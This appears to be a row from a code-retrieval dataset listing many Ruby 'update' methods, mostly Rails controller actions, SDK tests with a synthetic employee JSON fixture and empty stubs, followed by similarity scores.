"def test_update_model_with_body()\n # Parameters for the API call\n model = Employee.from_hash(APIHelper.json_deserialize(\n '{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"u'\\\n 'id\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9'\\\n '571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDay'\\\n '\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"perso'\\\n 'nType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 531'\\\n ', S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-1'\\\n '3T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development\"'\\\n ',\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"d'\\\n 'ependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, '\\\n 'S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T'\\\n '14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H '\\\n '# 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994'\\\n '-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",\"'\\\n 'promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":51474'\\\n '83649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13'\\\n '\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age'\\\n '\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"199'\\\n '4-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 0'\\\n '6 Nov 1994 08:49:37 GMT\"}'\n ))\n\n # Perform the API call through the SDK function\n result = @controller.update_model(model)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def update\n @tengine_batch = Tengine::Batch.find(params[:id])\n\n respond_to do |format|\n if @tengine_batch.update_attributes(params[:tengine_batch])\n format.html { redirect_to @tengine_batch, notice: 'Batch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tengine_batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n @single_token = args[:single_token] if args.key?(:single_token)\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n\n\n end",
"def update\n respond_to do |format|\n if @vehicle_model.update(vehicle_model_params)\n format.html { redirect_to @vehicle_brand, notice: 'Vehicle model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_model_array_with_body()\n # Parameters for the API call\n models = APIHelper.json_deserialize(\n '[{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"'\\\n 'uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.'\\\n '9571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDa'\\\n 'y\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"pers'\\\n 'onType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 53'\\\n '1, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-'\\\n '13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development'\\\n '\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"'\\\n 'dependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531,'\\\n ' S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13'\\\n 'T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H'\\\n ' # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"199'\\\n '4-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",'\\\n '\"promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\"},{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"ad'\\\n 'dress\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birtht'\\\n 'ime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Softwa'\\\n 're Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesda'\\\n 'y\",\"Friday\"],\"boss\":{\"personType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":51'\\\n '47483645,\"address\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02'\\\n '-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"departm'\\\n 'ent\":\"Software Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Mon'\\\n 'day\",\"Tuesday\",\"Friday\"],\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\",\"promotedAt\":1484719381},\"dependents\":[{\"name'\\\n '\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123'\\\n '412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"'\\\n '},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H # 531, S # 20\",\"ui'\\\n 'd\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.95'\\\n '71247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\"}]'\n ).map { |element| Employee.from_hash(element) }\n\n # Perform the API call through the SDK function\n result = @controller.update_model_array(models)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_model.update(sivic_model_params)\r\n format.html { redirect_to @sivic_model, notice: 'Sivic model was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_model.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n if @moose.update_attributes(params[:moose])\n format.html { redirect_to @moose, notice: 'Moose was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moose.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @onecolumnmodel = Onecolumnmodel.find(params[:id])\n\n respond_to do |format|\n if @onecolumnmodel.update_attributes(params[:onecolumnmodel])\n format.html { redirect_to @onecolumnmodel, notice: 'Onecolumnmodel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onecolumnmodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n feature.update_attributes(feature_params)\n\n respond_with(feature)\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end"
] | [
"0.6806672",
"0.64017165",
"0.63226074",
"0.5944277",
"0.5939421",
"0.5898036",
"0.58701813",
"0.5865725",
"0.5863237",
"0.5858418",
"0.585234",
"0.58366644",
"0.58366644",
"0.58366644",
"0.5831424",
"0.58300996",
"0.5807789",
"0.5746961",
"0.5744137",
"0.5728008",
"0.5712158",
"0.5708291",
"0.5697798",
"0.5680517",
"0.5680119",
"0.56638813",
"0.5659676",
"0.5630592",
"0.5583498",
"0.5583498",
"0.5570505",
"0.55662686",
"0.55651355",
"0.556139",
"0.55484027",
"0.55484027",
"0.55465573",
"0.5541898",
"0.55322134",
"0.5524198",
"0.5497095",
"0.5494448",
"0.5491972",
"0.5490241",
"0.5481489",
"0.5480777",
"0.54767406",
"0.5471628",
"0.546196",
"0.5459105",
"0.54576194",
"0.54492056",
"0.54492056",
"0.54492056",
"0.5448868",
"0.5448868",
"0.5435933",
"0.54355717",
"0.54355717",
"0.54355717",
"0.54355717",
"0.54355717",
"0.54355717",
"0.54355717",
"0.54355717",
"0.5420836",
"0.5414686",
"0.53966737",
"0.53831476",
"0.53822184",
"0.5375213",
"0.5372536",
"0.536894",
"0.5363392",
"0.5360319",
"0.535508",
"0.535228",
"0.5350997",
"0.5342183",
"0.5331044",
"0.53256106",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003",
"0.53237003"
] | 0.6385573 | 2 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.